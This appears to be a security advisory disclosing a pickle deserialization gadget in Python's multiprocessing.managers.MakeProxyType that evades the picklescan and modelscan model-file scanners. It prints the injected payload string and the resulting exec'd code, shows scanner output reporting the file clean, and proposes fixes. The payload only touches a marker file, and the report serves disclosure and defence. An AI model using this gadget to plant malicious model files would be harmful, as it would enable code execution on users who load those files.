# Dual-scanner pickle RCE gadget: `multiprocessing.managers.MakeProxyType` **Class:** Model File Vulnerability / scanner evasion (pickle deserialization RCE) **Affected scanners bypassed:** picklescan 1.0.5 AND modelscan 0.8.8 (both scan CLEAN) **Primitive:** single-`REDUCE` arbitrary command execution via a dangerous stdlib global that is on **neither** scanner's unsafe-globals blocklist. ## Summary `multiprocessing.managers.MakeProxyType(name, exposed)` builds a proxy class by interpolating every element of `exposed` (nominally "method names") **raw** into an `exec()` template using `%s`: ```python for meth in exposed: exec('''def %s(self, /, *args, **kwds): return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) ``` The first `%s` substitution places `meth` unescaped immediately after `def `. A crafted "method name" containing newlines closes that `def` and injects arbitrary **top-level** statements that execute the moment `exec()` runs. Because `MakeProxyType` is a plain module-level callable, a single pickle `GLOBAL multiprocessing.managers MakeProxyType` + args tuple + `REDUCE` triggers arbitrary code execution during `pickle.load`. Neither picklescan nor modelscan lists `multiprocessing` (or any submodule) in its unsafe-globals map, so both tools report the file as clean. ## The gadget Reduce: `MakeProxyType('EvilProxy', [MID])` where ``` MID = 'f():\n pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g' ``` The generated source becomes: ```python def f(): pass import os os.system("touch /tmp/PWNED_MPTYPE_PICKLE") # <-- runs at exec() time def g(self, /, *args, **kwds): return self._callmethod('f():\n ...', args, kwds) ``` ## Verification (current released versions) ``` $ picklescan -p model.pkl # picklescan 1.0.5 Infected files: 0 Suspicious globals: 1 # identical bucket a benign `dict` pickle lands in Dangerous globals: 0 # <-- NOT flagged exit=0 $ modelscan -p model.pkl # modelscan 0.8.8 No issues found! 🎉 total_issues: 0 $ python -c "import pickle; pickle.load(open('model.pkl','rb'))" $ ls /tmp/PWNED_MPTYPE_PICKLE /tmp/PWNED_MPTYPE_PICKLE # *** RCE *** ``` Confirmed executing on **Python 3.12** (scan venv) and **Python 3.13**. ### Benign control `benign.pkl` (`dict([('a',1)])`) yields the *same* picklescan verdict (`Suspicious globals: 1, Dangerous globals: 0`, exit 0) — demonstrating that picklescan applies no danger classification to the malicious global and treats this RCE gadget identically to a harmless builtin. ## Files - `model.pkl` — the malicious gadget (payload: `touch /tmp/PWNED_MPTYPE_PICKLE`) - `benign.pkl` — benign control - `build_poc.py` — regenerates both pickles - `scan_evidence.txt` — raw picklescan + modelscan output ## Fix Add `multiprocessing`/`multiprocessing.managers` (`MakeProxyType`) to both scanners' unsafe-globals maps; upstream, `MakeProxyType` should validate that each `exposed` entry is a valid identifier before interpolating it into `exec`.